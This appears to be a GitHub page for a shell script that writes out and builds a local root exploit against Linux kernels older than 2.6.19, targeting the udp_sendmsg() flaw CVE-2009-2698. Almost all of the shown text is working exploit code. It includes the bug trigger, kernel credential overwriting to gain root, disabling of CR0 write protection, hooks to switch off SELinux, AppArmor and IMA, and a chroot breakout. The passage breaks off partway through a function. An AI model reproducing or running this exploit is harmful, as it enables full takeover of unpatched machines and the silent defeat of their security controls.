-
Notifications
You must be signed in to change notification settings - Fork 17
/
CVE-2009-2698.sh
executable file
·1975 lines (1715 loc) · 55.3 KB
/
CVE-2009-2698.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/sh
# CVE-2009-2698 - Linux < 2.6.19 udp_sendmsg() local root
cat > exp_therebel.c <<_EOF
/* the rebel */
/* defines for prepare_the_exploit */
/* for null fptr derefs */
#define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
/* for overflows */
#define EXIT_KERNEL_TO_NULL 0x31336
#define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
/* defines for post_exploit */
#define RUN_ROOTSHELL 0x5150
#define CHMOD_SHELL 0x5151
#define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
typedef unsigned long (*_get_kernel_sym)(char *name);
typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name);
struct exploit_state {
_get_kernel_sym get_kernel_sym;
_kallsyms_lookup_name kallsyms_lookup_name;
void *own_the_kernel;
void *exit_kernel;
char *exit_stack;
int run_from_main;
int got_ring0;
int got_root;
};
#define EFL_RESERVED1 (1 << 1)
#define EFL_PARITY (1 << 2)
#define EFL_ZEROFLAG (1 << 6)
#define EFL_INTERRUPTENABLE (1 << 9)
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
/* for insta-iopl 3, for whatever reason!
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
*/
#define DISABLED_LSM 0x1
#define DISABLED_IMA 0x2
#define DISABLED_APPARMOR 0x4
#define DISABLED_SELINUX 0x8
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
struct dst_entry {
void *next;
int refcnt;
int use;
void *child;
void *dev;
short error;
short obsolete;
int flags;
unsigned long lastuse;
unsigned long expires;
unsigned short header_len;
unsigned short trailer_len;
unsigned int metrics[13];
/* need to have this here and empty to avoid problems with
dst.path being used by dst_mtu */
void *path;
unsigned long rate_last;
unsigned long rate_tokens;
/* things change from version to version past here, so let's do this: */
void *own_the_kernel[8];
};
struct exploit_state *exp_state;
char *desc = "The Rebel: Linux < 2.6.19 udp_sendmsg() local root";
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int requires_null_page = 1;
int prepare(unsigned char *ptr)
{
struct dst_entry *mem = (struct dst_entry *)ptr;
int i;
/* for stealthiness based on reversing, makes sure that frag_off
is set in skb so that a printk isn't issued alerting to the
exploit in the ip_select_ident path
*/
mem->metrics[1] = 0xfff0;
/* the actual "output" function pointer called by dst_output */
for (i = 0; i < 10; i++)
mem->own_the_kernel[i] = exp_state->own_the_kernel;
return 0;
}
int trigger(void)
{
struct sockaddr sock = {
.sa_family = AF_UNSPEC,
.sa_data = "CamusIsAwesome",
};
char buf[1024] = {0};
int fd;
fd = socket(PF_INET, SOCK_DGRAM, 0);
if (fd < 0) {
fprintf(stdout, "failed to create socket\n");
return 0;
}
sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock));
sendto(fd, buf, 1024, 0, &sock, sizeof(sock));
return 1;
}
int post(void)
{
return RUN_ROOTSHELL;
}
_EOF
cat > exploit.c <<_EOF
/* exploit lib */
#include <asm/unistd.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#include <sys/personality.h>
#include <time.h>
#include <unistd.h>
#include <fnmatch.h>
#include <dirent.h>
#include <dlfcn.h>
#include <grp.h>
#ifdef HAVE_SELINUX
#include <selinux/selinux.h>
#include <selinux/context.h>
#endif
#ifndef PATH_MAX
#define PATH_MAX 4095
#endif
/* defines for prepare_the_exploit */
/* for null fptr derefs */
#define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
/* for overflows */
#define EXIT_KERNEL_TO_NULL 0x31336
#define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
/* defines for post_exploit */
#define RUN_ROOTSHELL 0x5150
#define CHMOD_SHELL 0x5151
#define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
typedef unsigned long (*_get_kernel_sym)(char *name);
typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name);
struct exploit_state {
_get_kernel_sym get_kernel_sym;
_kallsyms_lookup_name kallsyms_lookup_name;
void *own_the_kernel;
void *exit_kernel;
char *exit_stack;
int run_from_main;
int got_ring0;
int got_root;
};
#define EFL_RESERVED1 (1 << 1)
#define EFL_PARITY (1 << 2)
#define EFL_ZEROFLAG (1 << 6)
#define EFL_INTERRUPTENABLE (1 << 9)
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
/* for insta-iopl 3, for whatever reason!
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
*/
#define DISABLED_LSM 0x1
#define DISABLED_IMA 0x2
#define DISABLED_APPARMOR 0x4
#define DISABLED_SELINUX 0x8
typedef int (*_prepare_for_exploit)(unsigned char *buf);
typedef int (*_trigger_the_bug)(void);
typedef int (*_post_exploit)(void);
typedef int (*_ring0_cleanup)(void);
typedef int (*_get_exploit_state_ptr)(struct exploit_state *exp_state);
#define MAX_EXPLOITS 32
struct exploit_module {
char desc[512];
_get_exploit_state_ptr get_exploit_state_ptr;
_prepare_for_exploit prep;
_trigger_the_bug trigger;
_post_exploit post;
_ring0_cleanup ring0_cleanup;
int requires_null_page;
int requires_symbols_to_trigger;
} modules[MAX_EXPLOITS];
int num_exploits = 0;
int check_entry(const struct dirent *dir)
{
if (!fnmatch("exp_*.so", dir->d_name, 0))
return 1;
return 0;
}
void add_exploit_modules(void)
{
struct dirent **namelist;
void *mod;
void *desc, *prepare, *trigger, *post, *get_exp_state_ptr, *requires_null_page, *ring0_cleanup, *requires_symbols_to_trigger;
char tmpname[PATH_MAX];
int n;
int i;
n = scandir(".", &namelist, &check_entry, alphasort);
if (n < 0) {
fprintf(stdout, "No exploit modules found, exiting...\n");
exit(1);
}
for (i = 0; i < n; i++) {
snprintf(tmpname, sizeof(tmpname)-1, "./%s", namelist[i]->d_name);
tmpname[sizeof(tmpname)-1] = '\0';
mod = dlopen(tmpname, RTLD_NOW);
if (mod == NULL) {
unable_to_load:
fprintf(stdout, "Unable to load %s\n", namelist[i]->d_name);
free(namelist[i]);
continue;
}
desc = dlsym(mod, "desc");
prepare = dlsym(mod, "prepare");
ring0_cleanup = dlsym(mod, "ring0_cleanup");
trigger = dlsym(mod, "trigger");
post = dlsym(mod, "post");
requires_null_page = dlsym(mod, "requires_null_page");
requires_symbols_to_trigger = dlsym(mod, "requires_symbols_to_trigger");
get_exp_state_ptr = dlsym(mod, "get_exploit_state_ptr");
if (desc == NULL || prepare == NULL || trigger == NULL || post == NULL || get_exp_state_ptr == NULL || requires_null_page == NULL)
goto unable_to_load;
#ifdef NON_NULL_ONLY
if (*(int *)requires_null_page) {
free(namelist[i]);
continue;
}
#else
if (!*(int *)requires_null_page) {
free(namelist[i]);
continue;
}
#endif
if (num_exploits >= MAX_EXPLOITS) {
fprintf(stdout, "Max exploits reached.\n");
return;
}
strncpy(modules[num_exploits].desc, *(char **)desc, sizeof(modules[num_exploits].desc) - 1);
modules[num_exploits].desc[sizeof(modules[num_exploits].desc)-1] = '\0';
modules[num_exploits].prep = (_prepare_for_exploit)prepare;
modules[num_exploits].trigger = (_trigger_the_bug)trigger;
modules[num_exploits].post = (_post_exploit)post;
modules[num_exploits].ring0_cleanup = (_ring0_cleanup)ring0_cleanup;
modules[num_exploits].get_exploit_state_ptr = (_get_exploit_state_ptr)get_exp_state_ptr;
modules[num_exploits].requires_null_page = *(int *)requires_null_page;
modules[num_exploits].requires_symbols_to_trigger = requires_symbols_to_trigger ? *(int *)requires_symbols_to_trigger : 0;
free(namelist[i]);
num_exploits++;
}
return;
}
struct exploit_state exp_state;
int eightk_stack = 0;
int twofourstyle = 0;
int raised_caps = 0;
unsigned long current_addr = 0;
int cred_support = 0;
int cred_offset = 0;
int fs_offset = 0;
int aio_read_offset = 0;
int has_vserver = 0;
int vserver_offset = 0;
unsigned long init_cred_addr = 0;
unsigned long default_exec_domain = 0;
#define TASK_RUNNING 0
#ifdef __x86_64__
#define KERNEL_BASE 0xffffffff81000000UL
#define KSTACK_MIN 0xffff800000000000UL
#define KSTACK_MAX 0xfffffffff0000000UL
#else
#define KERNEL_BASE 0xc0000000UL
#define KSTACK_MIN 0xc0000000UL
#define KSTACK_MAX 0xfffff000UL
#endif
char *exit_stack;
static inline unsigned long get_current_4k(void)
{
unsigned long current = 0;
unsigned long exec_domain = 0;
current = (unsigned long)¤t;
exec_domain = *(unsigned long *)((current & ~(0x1000 - 1)) + sizeof(unsigned long));
current = *(unsigned long *)(current & ~(0x1000 - 1));
if (current < KSTACK_MIN || current > KSTACK_MAX)
return 0;
if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX)
return 0;
if (default_exec_domain && exec_domain != default_exec_domain)
return 0;
if (*(long *)current != TASK_RUNNING)
return 0;
return current;
}
static inline unsigned long get_current_8k(void)
{
unsigned long current = 0;
unsigned long exec_domain = 0;
unsigned long oldstyle = 0;
eightk_stack = 1;
current = (unsigned long)¤t;
oldstyle = current & ~(0x2000 - 1);
current = *(unsigned long *)(oldstyle);
exec_domain = *(unsigned long *)(oldstyle + sizeof(unsigned long));
twofourstyle = 1;
if (current < KSTACK_MIN || current > KSTACK_MAX)
return oldstyle;
if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX)
return oldstyle;
if (default_exec_domain && exec_domain != default_exec_domain)
return oldstyle;
if (*(long *)current != TASK_RUNNING)
return oldstyle;
twofourstyle = 0;
return current;
}
static int requires_symbols_to_trigger;
static int kallsyms_is_hidden;
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
if (kallsyms_is_hidden)
goto fallback;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname) && addr) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
} else if (!strcmp(name, sname)) {
kallsyms_is_hidden = 1;
}
}
fclose(f);
if (rep == 2)
return 0;
else if (rep == 1)
goto fallback2;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
goto fallback2;
rep = 1;
goto repeat;
fallback2:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
oldstyle = 1;
sprintf(sname, "./System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL) {
sprintf(sname, "./System.map");
f = fopen(sname, "r");
if (f == NULL) {
if (requires_symbols_to_trigger) {
printf("Unable to acquire kernel symbols. Copy the appropriate System.map to the current directory.\n");
exit(1);
} else
return 0;
}
}
rep = 2;
goto repeat;
}
/* for switching from interrupt to process context */
unsigned long *ptmx_fops;
/* check for xen support */
unsigned long *xen_start_info;
int xen_detected;
int can_change_ptes;
/* check if DEBUG_RODATA only protects .rodata */
unsigned long mark_rodata_ro;
unsigned long set_kernel_text_ro;
int *audit_enabled;
int *ima_audit;
int *selinux_enforcing;
int *selinux_enabled;
int *sel_enforce_ptr;
int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;
unsigned long *init_task;
unsigned long init_fs;
unsigned long *bad_file_ops;
unsigned long bad_file_aio_read;
unsigned long vc_sock_stat;
unsigned char *ima_bprm_check;
unsigned char *ima_file_mmap;
unsigned char *ima_path_check;
/* whoa look at us, 2.6.33 support before it's even released */
unsigned char *ima_file_check;
unsigned long *security_ops;
unsigned long default_security_ops;
unsigned long sel_read_enforce;
int what_we_do;
unsigned int our_uid;
typedef void __attribute__((regparm(3))) (* _set_fs_root)(unsigned long fs, unsigned long path);
typedef void __attribute__((regparm(3))) (* _set_fs_pwd)(unsigned long fs, unsigned long path);
typedef bool __attribute__((regparm(3))) (* _virt_addr_valid)(unsigned long addr);
typedef void __attribute__((regparm(3))) (* _prepare_ve0_process)(unsigned long tsk);
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readonly)(unsigned long addr);
typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readwrite)(unsigned long addr);
_make_lowmem_page_readonly make_lowmem_page_readonly;
_make_lowmem_page_readwrite make_lowmem_page_readwrite;
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
_prepare_ve0_process prepare_ve0_process;
_set_fs_root set_fs_root;
_set_fs_pwd set_fs_pwd;
_virt_addr_valid virt_addr_valid;
struct cred {
int usage; // must be >= 4
int uid; // 0
int gid; // 0
int suid; // 0
int sgid; // 0
int euid; // 0
int egid; // 0
int fsuid; // 0
int fsgid; // 0
int securebits; // SECUREBITS_DEFAULT 0x00000000
unsigned int cap_inheritable[2]; // CAP_INIT_INH_SET {0, 0}
unsigned int cap_permitted[2]; // CAP_FULL_SET { ~0, ~0 }
unsigned int cap_effective[2]; // CAP_INIT_EFF_SET { ~(1 << 8), ~0 }
unsigned int cap_bset[2]; // CAP_INIT_BSET -> CAP_FULL_SET || CAP_INIT_EFF_SET
};
static inline unsigned long *pg_to_ptr(unsigned long addr)
{
return (unsigned long *)(0xffff880000000000UL + (addr & 0x000ffffffffff000UL));
}
static inline unsigned long pte_to_kaddr(unsigned long pte)
{
return 0xffffffff80000000UL + (pte & 0x000ffffffffff000UL);
}
#define NUM_RANGES 32
static unsigned long valid_ranges[NUM_RANGES][2];
/* elito #2 */
static inline void find_kernel_ranges(void)
{
unsigned long i, z, t;
unsigned long _cr3;
unsigned long *kernelpg;
unsigned long *kernelpte;
int rangeidx = 0;
int x = -1;
if (valid_ranges[0][0])
return;
asm volatile (
"mov %%cr3, %0"
: "=r" (_cr3)
);
kernelpg = pg_to_ptr(pg_to_ptr(pg_to_ptr(_cr3)[511])[510]);
for (i = 0; i < 511; i++) {
if ((kernelpg[i] & 1) && x < 0) {
x = i;
}
if (!(kernelpg[i+1] & 1) && x >= 0) {
break;
}
}
for (z = x; z <= i; z++) {
// large page
if ((kernelpg[z] & (1 << 7)) && !valid_ranges[rangeidx][0])
valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpg[z]);
else if (!(kernelpg[z] & (1 << 7))) {
// check 4K pages
kernelpte = pg_to_ptr(kernelpg[z]);
for (t = 0; t < 511; t++) {
if ((kernelpte[t] & 0x1) && !valid_ranges[rangeidx][0])
valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpte[t]);
else if (!(kernelpte[t] & 0x1) && !valid_ranges[rangeidx][1]) {
valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[z]);
rangeidx++;
}
else if (!(kernelpte[t+1] & 0x1) && !valid_ranges[rangeidx][1]) {
valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpte[t]) + 0x1000;
rangeidx++;
}
}
}
}
if (valid_ranges[rangeidx][0] && !valid_ranges[rangeidx][1]) {
valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[i]) + 0x200000;
}
}
static inline unsigned long find_init_cred(void)
{
unsigned long len;
struct cred *tmp;
int i, x;
find_kernel_ranges();
if (!valid_ranges[0][0] || !valid_ranges[0][1])
return 0;
for (x = 0; valid_ranges[x][0]; x++) {
for (i = 0; i < valid_ranges[x][1] - valid_ranges[x][0] - sizeof(struct cred); i++) {
tmp = (struct cred *)valid_ranges[x][0];
if (tmp->usage >= 4 && tmp->uid == 0 && tmp->gid == 0 &&
tmp->suid == 0 && tmp->sgid == 0 && tmp->euid == 0 &&
tmp->egid == 0 && tmp->fsuid == 0 && tmp->fsgid == 0 &&
tmp->securebits == 0 && tmp->cap_inheritable[0] == 0 &&
tmp->cap_inheritable[1] == 0 && tmp->cap_permitted[0] == ~0 &&
tmp->cap_permitted[1] == ~0 &&
(tmp->cap_effective[0] == ~(1 << 8) || tmp->cap_effective[0] == ~0) &&
tmp->cap_effective[1] == ~0 &&
(tmp->cap_bset[0] == ~0 || tmp->cap_bset[0] == ~(1 << 8)) &&
tmp->cap_bset[1] == ~0)
return (unsigned long)tmp;
}
}
return 0UL;
}
static void bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(unsigned long orig_current)
{
/* cause it's a trillion dollar industry */
unsigned char *current = (unsigned char *)orig_current;
struct cred *init_cred_addr, **cred, **real_cred;
int i;
init_cred_addr = (struct cred *)find_init_cred();
if (!init_cred_addr)
return;
/* ok, we couldn't find our UIDs in the task struct
and we don't have the symbols for the creds
framework, discover it in a stupidly easy way:
in task_struct:
...stuff...
const struct cred *real_cred;
const struct cred *cred;
struct mutex cred_exec_mutex;
char comm[16];
...stuff...
if we were executed from main, then our name is
"exploit", otherwise it's "pulseaudio"
then we find init_cred through heuristics
increment its refcnt appropriately
and set up our credentials
*/
for (i = 0; i < 0x1000 - 16; i++) {
if ((exp_state.run_from_main == 1 && !memcmp(¤t[i], "exploit", strlen("exploit") + 1)) ||
(exp_state.run_from_main == 0 && !memcmp(¤t[i], "pulseaudio", strlen("pulseaudio") + 1))) {
/* now work backwards till we find the two cred pointers
*/
for (i-=sizeof(unsigned long); i > sizeof(unsigned long); i-=sizeof(unsigned long)) {
if (*((unsigned long *)¤t[i]) != *((unsigned long *)¤t[i-sizeof(unsigned long)]))
continue;
// unlocked
cred_offset = i - sizeof(char *);
real_cred = (struct cred **)¤t[i-sizeof(char *)];
cred = (struct cred **)¤t[i];
/* found init_cred, so now point our
cred struct to it, and increment usage!
*/
*real_cred = *cred = init_cred_addr;
init_cred_addr->usage+=2;
exp_state.got_root = 1;
return;
}
return;
}
}
return;
}
static void give_it_to_me_any_way_you_can(void)
{
unsigned long orig_current;
orig_current = get_current_4k();
if (orig_current == 0)
orig_current = get_current_8k();
current_addr = orig_current;
if (commit_creds && prepare_kernel_cred) {
commit_creds(prepare_kernel_cred(0));
exp_state.got_root = 1;
} else {
unsigned int *current;
current = (unsigned int *)orig_current;
while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
(current[0] != our_uid || current[1] != our_uid ||
current[2] != our_uid || current[3] != our_uid))
current++;
if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(orig_current);
cred_support = 1;
return;
}
exp_state.got_root = 1;
/* clear the UIDs and GIDs */
memset(current, 0, sizeof(unsigned int) * 8);
/* now let's try to elevate our capabilities as well (pre-creds structure)
2.4 has next: int ngroups; gid_t groups[NGROUPS]; then caps
2.6 has next: struct group_info *group_info; then caps
we could actually capget, but lets assume all three are 0
in both cases, the capabilities occur before:
unsigned keep_capabilities:1;
struct user_struct *user;
so we'll be fine with clobbering all 0s in between
*/
{
int i;
int zeroed;
current += 8; // skip uids/gids
/* skip over any next pointer */
current += (sizeof(unsigned long) == sizeof(unsigned int)) ? 1 : 2;
for (i = 0; i < 40; i++) {
if (!current[i]) {
zeroed = 1;
current[i] = 0xffffffff;
raised_caps = 1;
/* once we zero a block, stop when we
find something non-zero
*/
} else if (zeroed)
break;
}
}
}
return;
}
unsigned long inline get_cr0(void)
{
unsigned long _cr0;
asm volatile (
"mov %%cr0, %0"
: "=r" (_cr0)
);
return _cr0;
}
void inline set_cr0(unsigned long _cr0)
{
asm volatile (
"mov %0, %%cr0"
:
: "r" (_cr0)
);
}
int inline turn_off_wp(void)
{
unsigned long _cr0;
/* if xen is enabled and we can change ptes then we'll do that */
if (can_change_ptes)
return 1;
/* don't do it if xen is enabled and we can't just
write to kernel .text */
if (xen_detected && mark_rodata_ro && set_kernel_text_ro)
return 0;
/* if it's just xen, don't use cr0 or we'll GPF */
if (xen_detected)
return 1;
_cr0 = get_cr0();
_cr0 &= ~0x10000;
set_cr0(_cr0);
return 1;
}
void inline turn_on_wp(void)
{
unsigned long _cr0;
/* if it's just xen, don't use cr0 or we'll GPF */
if (xen_detected)
return;
_cr0 = get_cr0();
_cr0 |= 0x10000;
set_cr0(_cr0);
}
unsigned long trigger_retaddr;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_gs;
static void get_segment_descriptors(void)
{
#ifdef __x86_64__
asm volatile (
"movq %%cs, %0 ;"
"movq %%ss, %1 ;"
: "=r" (user_cs), "=r" (user_ss)
:
: "memory"
);
#else
asm volatile (
"push %%cs ;"
"pop %0 ;"
"push %%ss ;"
"pop %1 ;"
"push %%gs ;"
"pop %2 ;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_gs)
:
: "memory"
);
#endif
}
/* greets to qaaz */
static void exit_kernel(void)
{
#ifdef __x86_64__
asm volatile (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "i" (USER_EFLAGS),
"r" (user_cs), "r" (trigger_retaddr)
);
#else
asm volatile (
"pushl %0 ;"
"pop %%gs ;"
"movl %1, 0x10(%%esp) ;"
"movl %2, 0x0c(%%esp) ;"
"movl %3, 0x08(%%esp) ;"
"movl %4, 0x04(%%esp) ;"
"movl %5, 0x00(%%esp) ;"
"iret"
: : "r" (user_gs), "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "i" (USER_EFLAGS),
"r" (user_cs), "r" (trigger_retaddr)
);
#endif
}
static _trigger_the_bug trigger;
static int main_ret;
void trigger_get_return(void)
{
trigger_retaddr = (unsigned long)__builtin_return_address(0);
main_ret = trigger();
if (!main_ret)
exit(0);
return;
}
static void make_range_readwrite(unsigned long start, unsigned long len)
{
unsigned long end;
if (!can_change_ptes)
return;
end = start + len;
make_lowmem_page_readwrite(start);
// check if the entire range fits in one page
if ((start >> 12) != (end >> 12))
make_lowmem_page_readwrite(end);
return;
}
static void make_range_readonly(unsigned long start, unsigned long len)
{
unsigned long end;
if (!can_change_ptes)
return;
end = start + len;
make_lowmem_page_readonly(start);
// check if the entire range fits in one page
if ((start >> 12) != (end >> 12))
make_lowmem_page_readonly(end);
return;
}
static _ring0_cleanup ring0_cleanup;
static unsigned long get_kallsyms_lookup_name(void);
static int return_to_process_context;
static inline int are_interrupts_disabled(void)
{
unsigned long flags;
#ifdef __x86_64
asm volatile(
"pushfq\n"
"mov (%%rsp), %0\n"
"popfq\n"
: "=r" (flags)
);
#else
asm volatile(
"pushf\n"
"mov (%%esp), %0\n"
"popf\n"
: "=r" (flags)
);
#endif
return !(flags & (1 << 9));
}
static inline void chroot_breakout(void)
{
int x, z;
unsigned long *fsptr;
unsigned long *initfsptr;
if (!init_task || !init_fs || !set_fs_root || !set_fs_pwd || !current_addr || !virt_addr_valid)
return;
initfsptr = (unsigned long *)init_fs;
for (x = 0; x < 0x1000/sizeof(unsigned long); x++) {
if (init_task[x] != init_fs)
continue;
fs_offset = x * sizeof(unsigned long);
fsptr = (unsigned long *)*(unsigned long *)(current_addr + fs_offset);
if (fsptr == NULL)
continue;
// we replace root and pwd too, so adjust reference counters
// accordingly
for (z = 0; z < 6; z++) {
/* lemony snicket's a series of unfortunate ints */